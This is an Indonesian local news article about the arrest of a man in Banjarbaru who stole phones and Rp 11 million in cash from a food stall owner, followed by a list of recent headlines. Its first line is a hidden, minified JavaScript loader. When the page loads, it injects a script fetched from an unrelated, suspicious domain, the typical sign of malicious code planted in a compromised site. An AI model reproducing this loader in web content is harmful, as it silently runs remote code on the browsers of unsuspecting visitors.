(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Garap Uang Belasan Juta, Pencuri Ini Ditangkap Setelah Dua Pekan Buron


BANJARBARU, Embat belasan juta plus Hp, Aldi digiring polisi ke bui. Berawal dari kejadian pada 23 April lalu, dimana salah satu pemilik warung di Kelurahan Guntung Manggis, Kota Banjarbaru kehilangan 2 buah HP dan 1 buah dompet yang berisi Rp 11 juta, atas kejadian pencurian itu korban mengalami kerugian kurang lebih Rp 17 juta.

Pelaku Aldi saat itu makan di warung korba, kemudian usai makan pelaku membayar makanan tersebut dan meminta izin kepada korban untuk ke toilet. Setelah itu pelaku pun pergi ke arah Kelurahan Palam.

Nah, korban pemilik warung baru sadar ketika menyapu mendapati beberapa barang miliknya hilang diantaranya 2 buah HP dan 1 buah dompet yang berisi uang Rp 11 juta.

Menerima laporan adanya pencurian tersebut Unit Resmob Polres Banjarbaru dipimpin Ipda Aditya dan Ipda Alhamidie bersama anggota pun menuju ke TKP pencurian dan melakukan serangkaian penyelidikan mengungkap identitas pelaku dengan ciri-cirinya sudah dikantongi oleh petugas.

Ipda Aditya mengatakan ciri-ciri pelaku yang masih diingat korban, sangat membantu pihaknya dalam proses penyelidikan.

“Hingga dalam 2 pekan tepatnya kemarin malam Jum’at (17/7) kami pun berhasil menangkap pelaku tersebut yang bernama Muhammad Aldi Als Aldi (20) di rumahnya di daerah Gambut Kabupaten Banjar dan pelaku mengakui perbuatannya tersebut,” ujar Ipda Aditya.

Kasat Reskrim Polres Banjarbaru AKP Aryansyah SIK membenarkan penangkapan yang dilakukan anggotanya tersebut dan untuk pelaku tunggal ini disangkakan dengan Pasal 362 KUHP dengan ancaman hukuman 5 tahun penjara.

“Untuk barang bukti uang tersebut sudah habis digunakan pelaku untuk berbelanja diantaranya sepatu dan helm balap dan untuk barang buktinya kami sita dari tangan pelaku berupa 1 buah helm balap, sepasang sepatu balap dan 1 buah handphone milik korban,” tandasnya. (rico)

Reporter : Rico
Editor : Bie

Desy Arfianty

Recent Posts

Vonis Separuh Tuntutan untuk Empat Terdakwa Korupsi Kredit Fiktif Bank

KANALKALIMANTAN.COM, BANJARMASIN - Hakim Pengadilan Tindak Pidana Korupsi (Tipikor) Banjarmasin membacakan putusan kasus korupsi kredit… Read More

3 jam ago

Wali Kota Aditya Bacakan SK Pelanggaran Kode Etik ASN Pemko Banjarbaru, Ini Tiga Nama Pelanggar

KANALKALIMANTAN.COM, BANJARBARU - Surat Keputusan (SK) terkait pelanggaran kode etik dijatuhkan kepada tiga orang Pegawai… Read More

5 jam ago

Dukung Pembangunan Keberlanjutan di Kalimantan, PLN Hadirkan 15 Program TJSL di Sepanjang 2024

KANALKALIMANTAN.COM, BANJARBARU - Di sepanjang tahun 2024, PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

6 jam ago

Ada Pekerjaan PAM Bandarmasih, Besok Distribusi Air Disetop

KANAKALIMANTAN.COM, BANJARMASIN - Perusahaan Air Minum (PAM) Bandarmasih mengumumkan melakukan penyetopan distribusi air bersih selama… Read More

11 jam ago

Layaknya Pilkada, Pemilihan Ketua RT dan RW Serentak se Banjarbaru Digelar

KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru Provinsi Kalimantan Selatan (Kalsel) tengah menggelar pemilihan ketua RT/RW serentak… Read More

12 jam ago

BPIH 2025 Resmi Turun Rp 4 Juta, Ini Komponen Utama Biaya Haji

KANALKALIMANTAN.COM, JAKARTA - Komisi VIII DPR RI bersama Kementerian Agama (Kemenag) resmi menetapkan Biaya Penyelenggaraan… Read More

14 jam ago

This website uses cookies.